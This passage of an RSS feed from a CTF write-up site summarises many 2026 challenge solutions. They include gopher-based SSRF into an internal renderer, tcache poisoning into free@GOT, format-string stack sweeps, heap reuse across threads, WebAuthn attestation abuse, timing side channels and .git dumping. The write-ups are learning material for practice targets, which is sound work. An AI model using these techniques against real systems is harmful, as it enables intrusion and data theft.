class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;y² = x³&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;which is singular. Singular curves are not elliptic curves at all: the point group degenerates into either the additive group of the field (a cusp) or the multiplicative group (a node). Here the singularity is a &lt;strong&gt;cusp&lt;/strong&gt;, and the group law collapses to something the attacker can invert directly.&lt;/p&gt;</description></item><item><title>Cut Me</title><link>https://hotwater-online.xyz/writeups/sun/cut-me/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sun/cut-me/</guid><description>&lt;p&gt;The challenge handed over &lt;code&gt;hereyougo.png&lt;/code&gt;, a PNG whose IHDR height field had been shrunk so most of the image was invisible in a normal viewer. Because JPEG-style truncation does not apply to PNGs, the compressed IDAT payload still exists in full — the fix is to recompute the real height from the decompressed scanline count and patch the header. (SunshineCTF 2026, forensics.)&lt;/p&gt;&#10;&lt;h2 id="summary"&gt;&#10; &lt;a href="#summary" class="md-heading-anchor"&gt;&#10; Summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Feeding &lt;code&gt;hereyougo.png&lt;/code&gt; to &lt;code&gt;file&lt;/code&gt; or an image viewer shows a sliver of the picture, because the header claims a smaller &lt;code&gt;height&lt;/code&gt; than the data actually encodes. The giveaway is that decompressing IDAT yields more bytes than the claimed geometry can account for. &lt;code&gt;solve.py&lt;/code&gt; automates the recovery: parse IHDR, concat every IDAT chunk, decompress, derive the true height, rewrite IHDR plus its CRC, and write &lt;code&gt;recovered.png&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>FoundryProof Tiny-HDL Equivalent-but-Sabotaged</title><link>https://hotwater-online.xyz/writeups/h7ctf/foundryproof-tiny-hdl-equivalent-but-sabotaged/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/h7ctf/foundryproof-tiny-hdl-equivalent-but-sabotaged/</guid><description>&lt;p&gt;H7CTF 2026's &lt;code&gt;misc/2&lt;/code&gt; is a hardware-verification challenge with a crypto-challenge smell. The FoundryProof sign-off certifies a combinational 32-bit netlist as equivalent to a golden reference — via a bounded Z3 check which, for the sabotage vector &lt;code&gt;A_AUDIT = 0xDEADBEEF&lt;/code&gt;, must still agree bitwise with the reference netlist — and then runs your Certified design once at that audit vector, requiring your output be the sabotage value &lt;code&gt;MAGIC = 0xB105F00D&lt;/code&gt;. &amp;quot;You think our sign-off is airtight. It isn't.&amp;quot;&lt;/p&gt;</description></item><item><title>GateCache — Heap Reuse Into Another Thread's Session</title><link>https://hotwater-online.xyz/writeups/h7ctf/gatecache-heap-reuse-into-another-threads-session/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/h7ctf/gatecache-heap-reuse-into-another-threads-session/</guid><description>&lt;p&gt;For H7CTF 2026's &lt;code&gt;pwn/1&lt;/code&gt; challenge, the target is &lt;code&gt;gatecache&lt;/code&gt; (shipped inside &lt;code&gt;keepalive.zip&lt;/code&gt;): a stripped PIE x86-64 C++ service, built on Ubuntu 22.04 / glibc 2.35, that listens on TCP 9006 and dares you to type protocol commands. The process is threaded (it links &lt;code&gt;liburcu-memb&lt;/code&gt;/&lt;code&gt;cds_lfht&lt;/code&gt; for RCU-style lock-free maps and libsodium for detached signatures) and, critically, a detached worker thread leaves freed session objects behind, which is where the exploit steps in.&lt;/p&gt;</description></item><item><title>Ghost in the Wire</title><link>https://hotwater-online.xyz/writeups/xploit/ghost-in-the-wire/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/ghost-in-the-wire/</guid><description>&lt;p&gt;A network-forensics challenge whose answer is hidden in plain sight as a &lt;strong&gt;Base85 string&lt;/strong&gt; in the incident artefacts. Decode it and the flag falls out.&lt;/p&gt;&#10;&lt;h2 id="files"&gt;&#10; &lt;a href="#files" class="md-heading-anchor"&gt;&#10; Files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;CASE_BRIEF.txt&lt;/code&gt;, &lt;code&gt;auditd_syscall.log&lt;/code&gt;, &lt;code&gt;bgp_routing_table.txt&lt;/code&gt;, &lt;code&gt;iptables.rules&lt;/code&gt;, &lt;code&gt;nginx_proxy.conf&lt;/code&gt;, &lt;code&gt;netstat_active_conns.txt&lt;/code&gt;, &lt;code&gt;core_switch_vlan10_stp.pcap&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="analysis"&gt;&#10; &lt;a href="#analysis" class="md-heading-anchor"&gt;&#10; Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The brief frames this as a TCP ACK-state-machine tracker incident with a large pile of logs. Most of it is noise; the payload is a text blob:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Sa57_X&amp;gt;?f5vU_x6a9=cIYhQD8G;}jxZ8T$OF&amp;gt;W(obaFIfYcq0RIXE&amp;amp;geE&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The character set (letters, digits, punctuation like &lt;code&gt;&amp;gt;?&lt;/code&gt;, &lt;code&gt;$&lt;/code&gt;, &lt;code&gt;&amp;amp;&lt;/code&gt;) matches &lt;strong&gt;Base85&lt;/strong&gt; (RFC 1924 / Ascii85 alphabet), not Base64. The alphabetical range and the &lt;code&gt;~&lt;/code&gt;-less alphabet point at Python's &lt;code&gt;base64.b85encode&lt;/code&gt; variant.&lt;/p&gt;</description></item><item><title>GitDumper</title><link>https://hotwater-online.xyz/writeups/gencysctf/gitdumper/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/gencysctf/gitdumper/</guid><description>&lt;p&gt;The GenCyS CTF 2026 challenge folded into this folder is a story-driven intelligence exercise around TheSecureTrust Bank: a mission-kickoff email carrying a nested &lt;code&gt;alert.eml&lt;/code&gt; attachment, and — the part that really pays — an exposed &lt;code&gt;.git&lt;/code&gt; directory on a staging host. &lt;code&gt;gitdumper.py&lt;/code&gt; is my tool for turning that exposure into the attacker's full source tree: it walks the loose Git object database over plain HTTPS and reconstructs a working tree, which is how &lt;code&gt;dump/SecureTrust_Crypto_Evidence.zip&lt;/code&gt; came out.&lt;/p&gt;</description></item><item><title>Ground</title><link>https://hotwater-online.xyz/writeups/sun/ground/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sun/ground/</guid><description>&lt;p&gt;The &amp;quot;ground&amp;quot; web challenge (SunshineCTF 2026) is the Punxsutawney Orbital Weather Authority's Perpetual Forecast Console. A leftover operator comment in the page source hands out a hidden &lt;code&gt;feed=&amp;lt;url&amp;gt;&lt;/code&gt; override parameter, and that override accepts gopher:// — a textbook SSRF with full protocol control. Chaining it to the site's own internal report renderer turns the flag into a rendered PDF we can download.&lt;/p&gt;&#10;&lt;h2 id="summary"&gt;&#10; &lt;a href="#summary" class="md-heading-anchor"&gt;&#10; Summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The homepage HTML contains a commented-out maintenance form that re-enables the &lt;code&gt;feed&lt;/code&gt; URL override, plus a second debug comment showing exactly which feed URL the server last fetched. By POSTing &lt;code&gt;feed=gopher://127.0.0.1:8000/...&lt;/code&gt; with a crafted HTTP request, we make the (gopher-speaking) backend perform an arbitrary internal POST to &lt;code&gt;http://127.0.0.1:8000/report&lt;/code&gt;, whose response embeds a PDF rendering of the submitted content. That PDF is returned in the page JSON as a base64 &lt;code&gt;data&lt;/code&gt; field; &lt;code&gt;extract_pdf.py&lt;/code&gt; decodes it to &lt;code&gt;report.pdf&lt;/code&gt;, where the recovered flag lives.&lt;/p&gt;</description></item><item><title>H7 Passport — Legacy Attestation Path for Enterprise Tier</title><link>https://hotwater-online.xyz/writeups/h7ctf/writeup-passport/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/h7ctf/writeup-passport/</guid><description>&lt;p&gt;For H7CTF 2026 this web-style challenge is a WebAuthn/FIDO2 Relying Party (&amp;quot;H7 Passport&amp;quot;) with a twist: it accepts &lt;strong&gt;three&lt;/strong&gt; attestation formats (&lt;code&gt;packed&lt;/code&gt;, &lt;code&gt;tpm&lt;/code&gt;, &lt;code&gt;android-key&lt;/code&gt;), but only credentials enrolled at the &lt;em&gt;enterprise&lt;/em&gt; tier may drive the privileged action behind &lt;code&gt;/assert/finish&lt;/code&gt;. The intended bug, as far as I reconstructed it, is in the legacy attestation path for unregistered (&amp;quot;air-gapped&amp;quot;) authenticators and the bespoke authenticator-policy X.509 extension it consults.&lt;/p&gt;&#10;&lt;h2 id="enrollment-flow"&gt;&#10; &lt;a href="#enrollment-flow" class="md-heading-anchor"&gt;&#10; Enrollment flow&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;GET /register/begin&lt;/code&gt; costs one Ledger credit and returns &lt;code&gt;rpId&lt;/code&gt;, &lt;code&gt;origin&lt;/code&gt;, a 32-byte challenge, tier list, and the pinned &lt;code&gt;pubKeyAlg&lt;/code&gt; (-7 = ES256). &lt;code&gt;POST /register/finish&lt;/code&gt; then trusts the client to supply a correct CBOR &lt;code&gt;attestationObject&lt;/code&gt; with &lt;code&gt;fmt&lt;/code&gt;, &lt;code&gt;attStmt&lt;/code&gt;, and &lt;code&gt;authData&lt;/code&gt;. My artifact &lt;code&gt;passport_client.py&lt;/code&gt; builds the WebAuthn structures entirely by hand: &lt;code&gt;authData&lt;/code&gt; is standard (&lt;code&gt;rpIdHash(32) || flags(1) || signCount(4) || aaguid(16) || credIdLen(2) || credId || COSE_EC2_key&lt;/code&gt;), with the user-present (&lt;code&gt;0x01&lt;/code&gt;), user-verified (&lt;code&gt;0x04&lt;/code&gt;), and attested-credential (&lt;code&gt;0x40&lt;/code&gt;) bits set:&lt;/p&gt;</description></item><item><title>Kairo — Adaptive Instruction Classifier</title><link>https://hotwater-online.xyz/writeups/xploit/kairo-adaptive-instruction-classifier/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/kairo-adaptive-instruction-classifier/</guid><description>&lt;p&gt;A pwn challenge around &lt;code&gt;kairothd&lt;/code&gt;, an &amp;quot;adaptive instruction classification engine&amp;quot;: it learns how your program behaves, decides it is trustworthy, and stops double-checking. The binary ships with a small VM-like protocol (load program, query, execute, leak, send) and a stack overflow in the &amp;quot;send&amp;quot; command.&lt;/p&gt;&#10;&lt;h2 id="files"&gt;&#10; &lt;a href="#files" class="md-heading-anchor"&gt;&#10; Files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;kairothd&lt;/code&gt; — target binary&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;readme.md&lt;/code&gt; — brief (&lt;code&gt;nc xploitxctf.quest 9023&lt;/code&gt;)&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;solve.py&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="analysis"&gt;&#10; &lt;a href="#analysis" class="md-heading-anchor"&gt;&#10; Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The protocol is fixed-width: each command is &lt;code&gt;u32 op, u32 arg, u16 len&lt;/code&gt; followed by &lt;code&gt;len&lt;/code&gt; bytes of data, and every reply is 12 bytes. The solve script walks the binary's command surface:&lt;/p&gt;</description></item><item><title>Kintsugi Vault — Shard Chain, One Byte Chain Piece at a Time</title><link>https://hotwater-online.xyz/writeups/h7ctf/kintsugi-vault-shard-chain-one-byte-chain-piece-at-a-time/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/h7ctf/kintsugi-vault-shard-chain-one-byte-chain-piece-at-a-time/</guid><description>&lt;p&gt;This H7CTF 2026 reverse challenge hands you a static, stripped Linux binary (&lt;code&gt;vmrun&lt;/code&gt;, a &amp;quot;shard runtime&amp;quot;) and eight-ish &lt;code&gt;.shard&lt;/code&gt; files (&amp;quot;guardian agents&amp;quot;) whose names are SHA-looking content ids. The chain start is &lt;code&gt;f6f11ad133cab21c96e0185e3411ddc4&lt;/code&gt;. Shards accept an 8-byte hex key via &lt;code&gt;vmrun &amp;lt;shard&amp;gt; &amp;lt;key&amp;gt; [decode-table-file]&lt;/code&gt;, and the chain piece for &lt;em&gt;non-start&lt;/em&gt; shards needs a decode &lt;strong&gt;table&lt;/strong&gt; from elsewhere — its decode table is not shipped in the clear. The vault re-attests via a single-use Ed25519 nonce/signature endpoint once the 32-byte custody seed is rebuilt.&lt;/p&gt;</description></item><item><title>KumoSec ChainVault</title><link>https://hotwater-online.xyz/writeups/luna1/kumosec-chainvault/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/luna1/kumosec-chainvault/</guid><description>&lt;h2 id="summary"&gt;&#10; &lt;a href="#summary" class="md-heading-anchor"&gt;&#10; Summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Luna CTF hosted an EVM playground (&amp;quot;KumoSec ChainVault&amp;quot;) behind a team-token API at &lt;code&gt;http://103.49.131.90&lt;/code&gt; with a JSON-RPC node at &lt;code&gt;/chain/rpc&lt;/code&gt;. Two contracts exist: an &lt;code&gt;AuditorRegistry&lt;/code&gt; access-gate and a &lt;code&gt;ChainVault&lt;/code&gt; holding bounty ETH. The intended-looking chain — become an auditor, then drain the vault — is broken both by careless ownership (a well-known ganache-cli dev key) and by a checks-effects-interactions bug in &lt;code&gt;settleClaim()&lt;/code&gt; that lets unregistered payouts repeat.&lt;/p&gt;</description></item><item><title>Ledger — Tcache Poisoning Into free@GOT</title><link>https://hotwater-online.xyz/writeups/h7ctf/ledger-tcache-poisoning-into-free-got/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/h7ctf/ledger-tcache-poisoning-into-free-got/</guid><description>&lt;p&gt;&lt;code&gt;pwn/4&lt;/code&gt; of H7CTF 2026 hands you the &lt;code&gt;ledger&lt;/code&gt; binary, its exact glibc 2.39 runtime, and matches everything with a classic tcache-overwrite chain on a four-action heap menu.&lt;/p&gt;&#10;&lt;h2 id="recon"&gt;&#10; &lt;a href="#recon" class="md-heading-anchor"&gt;&#10; Recon&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The menu is &lt;code&gt;1) add 2) delete 3) edit 4) view 5) exit&lt;/code&gt;. Every note is a fixed &lt;code&gt;0x50&lt;/code&gt;-byte record. Two flaws combine:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;view&lt;/code&gt; is &lt;code&gt;io.recvn(0x50)&lt;/code&gt; on the note, so I can dump the &lt;em&gt;entire&lt;/em&gt; stored chunk (&lt;code&gt;add_partial&lt;/code&gt; also sends fewer bytes, leaving the rest of the chunk untouched).&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;edit&lt;/code&gt; writes a fresh &lt;code&gt;0x50&lt;/code&gt; into a &lt;strong&gt;freed&lt;/strong&gt; chunk's data — no dangling-index check, so a deleted chunk can still be rewritten or re-read into tcache.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="step-1--tcache-leak"&gt;&#10; &lt;a href="#step-1--tcache-leak" class="md-heading-anchor"&gt;&#10; Step 1 — Tcache leak&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Free a &lt;code&gt;0x60&lt;/code&gt;-sized chunk and then &lt;em&gt;view&lt;/em&gt; it. In tcache, the first 8 bytes of a freed chunk hold the safe-linked next pointer; for a lone chunk that points to a &lt;code&gt;NULL&lt;/code&gt;, so what lands in the chunk is &lt;code&gt;chunk_addr &amp;gt;&amp;gt; 12&lt;/code&gt; — the tcache safe-linking encoding of a NULL:&lt;/p&gt;</description></item><item><title>Linear Guess</title><link>https://hotwater-online.xyz/writeups/xploit/linear-guess/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/linear-guess/</guid><description>&lt;p&gt;An LCG with unknown &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;c&lt;/code&gt; and known modulus &lt;code&gt;m = 2³²&lt;/code&gt; leaks consecutive outputs, then uses the same generator as a keystream to XOR the flag. Recover &lt;code&gt;a&lt;/code&gt; and &lt;code&gt;c&lt;/code&gt; from three outputs, then predict forward and decrypt.&lt;/p&gt;&#10;&lt;h2 id="files"&gt;&#10; &lt;a href="#files" class="md-heading-anchor"&gt;&#10; Files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;outputs.txt&lt;/code&gt; — six consecutive state outputs&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;public_info.txt&lt;/code&gt;, &lt;code&gt;README.md&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;flag.enc&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;solve.py&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="analysis"&gt;&#10; &lt;a href="#analysis" class="md-heading-anchor"&gt;&#10; Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;With three consecutive outputs &lt;code&gt;X₀, X₁, X₂&lt;/code&gt;:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;X₁ = a·X₀ + c (mod m)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;X₂ = a·X₁ + c (mod m)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Subtracting eliminates &lt;code&gt;c&lt;/code&gt;:&lt;/p&gt;</description></item><item><title>LMS Firmware Signer: Leaf Zero for Free</title><link>https://hotwater-online.xyz/writeups/h7ctf/lms-firmware-signer-leaf-zero-for-free/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/h7ctf/lms-firmware-signer-leaf-zero-for-free/</guid><description>&lt;p&gt;The H7CTF 2026 crypto target in this folder is a firmware-signing service built as an LMS-style hash signature scheme: WOTS one-time leaves wrapped in a Merkle tree (&lt;code&gt;TREE_H = 4&lt;/code&gt;, 16 leaves), with the &lt;em&gt;operational&lt;/em&gt; flaw that the server's leaf counter resets on demand, so leaf 0 signs everything. The scheme itself (&lt;code&gt;lms.py&lt;/code&gt;) is shipped &amp;quot;so the scheme is known&amp;quot; and is explicitly stated to be self-consistent; the vulnerability is entirely service-side. This writeup covers my solve for the leaf-reuse exploit and is related to nothing in &lt;code&gt;crypto/MURMUR-1.2.md&lt;/code&gt; (that challenge is a Noise XKpsk3 mesh tap; different primitives).&lt;/p&gt;</description></item><item><title>LUN4R-MU Timing Leak</title><link>https://hotwater-online.xyz/writeups/luna1/lun4r-mu-timing-leak/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/luna1/lun4r-mu-timing-leak/</guid><description>&lt;h2 id="summary"&gt;&#10; &lt;a href="#summary" class="md-heading-anchor"&gt;&#10; Summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The &lt;code&gt;moonchace&lt;/code&gt; hardware challenge exposes a tiny VM (&amp;quot;LUN4R-MU&amp;quot;) over TCP (&lt;code&gt;103.49.131.90:31337&lt;/code&gt;) whose debugger accepts &lt;code&gt;load $rN &amp;lt;imm&amp;gt;&lt;/code&gt;, &lt;code&gt;load $rN 0($r0)&lt;/code&gt;, &lt;code&gt;batch … end&lt;/code&gt;, &lt;code&gt;reset&lt;/code&gt;, and &lt;code&gt;quit&lt;/code&gt; commands, echoing per-operation execution times in nanoseconds. Loading an address inside the protected range &lt;code&gt;0xA1–0xFF&lt;/code&gt; silently speculatively caches a value; a subsequent &lt;code&gt;load&lt;/code&gt; of a byte candidate then runs fast (≈20 ns) if the candidate equals the cached byte and slow (≈40 ns) otherwise. Two solver scripts implement a Flush+Reload-style byte oracle against that protected memory and recover its ASCII contents NUL-terminated into &lt;code&gt;flag.txt&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>Manifest — Format String Into Clearance</title><link>https://hotwater-online.xyz/writeups/h7ctf/writeup-pwn1/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/h7ctf/writeup-pwn1/</guid><description>&lt;p&gt;For H7CTF 2026's &lt;code&gt;pwn1&lt;/code&gt; challenge, the target binary is literally called &lt;code&gt;manifest&lt;/code&gt; (its debug info says &lt;code&gt;manifest.c&lt;/code&gt;), and its whole attack surface is a feedback terminal that echoes what you type. That echo is an unguarded &lt;code&gt;printf&lt;/code&gt;, and the stack can be coerced into writing to an arbitrary address.&lt;/p&gt;&#10;&lt;h2 id="the-interface"&gt;&#10; &lt;a href="#the-interface" class="md-heading-anchor"&gt;&#10; The interface&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Live target is a menu loop:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1) leave feedback&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2) view manifest&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3) exit&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Option 1 prompts with &lt;code&gt;Leave feedback for the terminal operators:&lt;/code&gt; and reads a line, which is fed straight to a &lt;code&gt;printf&lt;/code&gt;-style echo (there is no &lt;code&gt;%&lt;/code&gt;-filtering — &lt;code&gt;sprintf&lt;/code&gt;-style formatting is unfiltered on user input). Option 2 prints &lt;code&gt;[manifest] clearance code: %s&lt;/code&gt;, gated by an &lt;code&gt;is_admin&lt;/code&gt; boolean: if the clearance isn't set (&lt;code&gt;is_admin&lt;/code&gt; initialized to denied), &lt;code&gt;view_manifest&lt;/code&gt; prints &lt;code&gt;[!] admin clearance required.&lt;/code&gt;. The flag path (&lt;code&gt;[!] flag file missing&lt;/code&gt;, driven by &lt;code&gt;fopen&lt;/code&gt;/&lt;code&gt;fclose&lt;/code&gt;) lives behind the clearance check.&lt;/p&gt;</description></item><item><title>Matrix Over Mind</title><link>https://hotwater-online.xyz/writeups/xploit/matrix-over-mind/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/matrix-over-mind/</guid><description>&lt;p&gt;RSA lifted from scalars to &lt;strong&gt;2×2 matrices over Z/nZ&lt;/strong&gt;: &lt;code&gt;C = M^e mod n&lt;/code&gt;, with the public constants &lt;code&gt;trace(M) = T&lt;/code&gt; and &lt;code&gt;det(M) = D&lt;/code&gt;. The matrix analogue of RSA still leaks the plaintext because the characteristic polynomial collapses matrix exponentiation to a short recurrence.&lt;/p&gt;&#10;&lt;h2 id="files"&gt;&#10; &lt;a href="#files" class="md-heading-anchor"&gt;&#10; Files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;output.txt&lt;/code&gt; — &lt;code&gt;n&lt;/code&gt;, &lt;code&gt;e&lt;/code&gt;, &lt;code&gt;T&lt;/code&gt;, &lt;code&gt;D&lt;/code&gt;, ciphertext matrix &lt;code&gt;C&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;solve.sage&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;README.md&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="analysis"&gt;&#10; &lt;a href="#analysis" class="md-heading-anchor"&gt;&#10; Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;By Cayley-Hamilton, &lt;code&gt;M&lt;/code&gt; satisfies&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;M² - T·M + D·I = 0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;so every power of &lt;code&gt;M&lt;/code&gt; reduces to a linear combination of &lt;code&gt;I&lt;/code&gt; and &lt;code&gt;M&lt;/code&gt; modulo that polynomial. Concretely, compute &lt;code&gt;x^e mod (x² - T·x + D)&lt;/code&gt; in &lt;code&gt;Z/nZ[x]&lt;/code&gt;:&lt;/p&gt;</description></item><item><title>min-beste-venn (Chatflare)</title><link>https://hotwater-online.xyz/writeups/nns/min-beste-venn-chatflare/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/nns/min-beste-venn-chatflare/</guid><description>&lt;h2 id="summary"&gt;&#10; &lt;a href="#summary" class="md-heading-anchor"&gt;&#10; Summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;forensics_min-beste-venn&lt;/code&gt; hides a chat conversation inside a &lt;code&gt;capture.pcap&lt;/code&gt; of requests to a Cloudflare-fronted web app. Every asset the pair of participants fetches goes through Cloudflare's cache, so the caching layer becomes a covert channel: chunk URIs encode one &lt;em&gt;byte&lt;/em&gt; of a conversation by naming a &lt;code&gt;&amp;lt;byte_index&amp;gt;&amp;lt;bit_position&amp;gt;&lt;/code&gt; on the MSB-side of that byte, and a &lt;code&gt;cf-cache-status: HIT&lt;/code&gt; response line marks the bits that carry a &lt;code&gt;1&lt;/code&gt;. The &lt;code&gt;solve.py&lt;/code&gt; decoder uses &lt;code&gt;tshark&lt;/code&gt; to pull the response headers and URIs and reconstructs the dialogue.&lt;/p&gt;</description></item><item><title>Mirage</title><link>https://hotwater-online.xyz/writeups/isfcr/mirage/</link><pubDate>Thu, 22 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/mirage/</guid><description>&lt;p&gt;Mirage (ISFCR CTF 2026) was a remote binary at &lt;code&gt;0.cloud.chals.io:23023&lt;/code&gt; that accepted input with an obvious format-string sink. Since only short, one-shot interactions were reliable over WAN, I wrote three small scripts: a stack-slot scanner, a per-slot string extractor, and an interactive prober.&lt;/p&gt;&#10;&lt;h2 id="files"&gt;&#10; &lt;a href="#files" class="md-heading-anchor"&gt;&#10; Files&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="table-wrap" role="region" aria-label="Scrollable data table" tabindex="0"&gt;&#10; &lt;table&gt;&#10; &lt;thead&gt;&#10; &lt;tr&gt;&#10; &lt;th&gt;Script&lt;/th&gt;&#10; &lt;th&gt;Role&lt;/th&gt;&#10; &lt;/tr&gt;&#10; &lt;/thead&gt;&#10; &lt;tbody&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;scan.py&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;One persistent connection, sweep &lt;code&gt;%1$p&lt;/code&gt; … &lt;code&gt;%200$p&lt;/code&gt; to map populated stack slots&lt;/td&gt;&#10; &lt;/tr&gt;&#10; 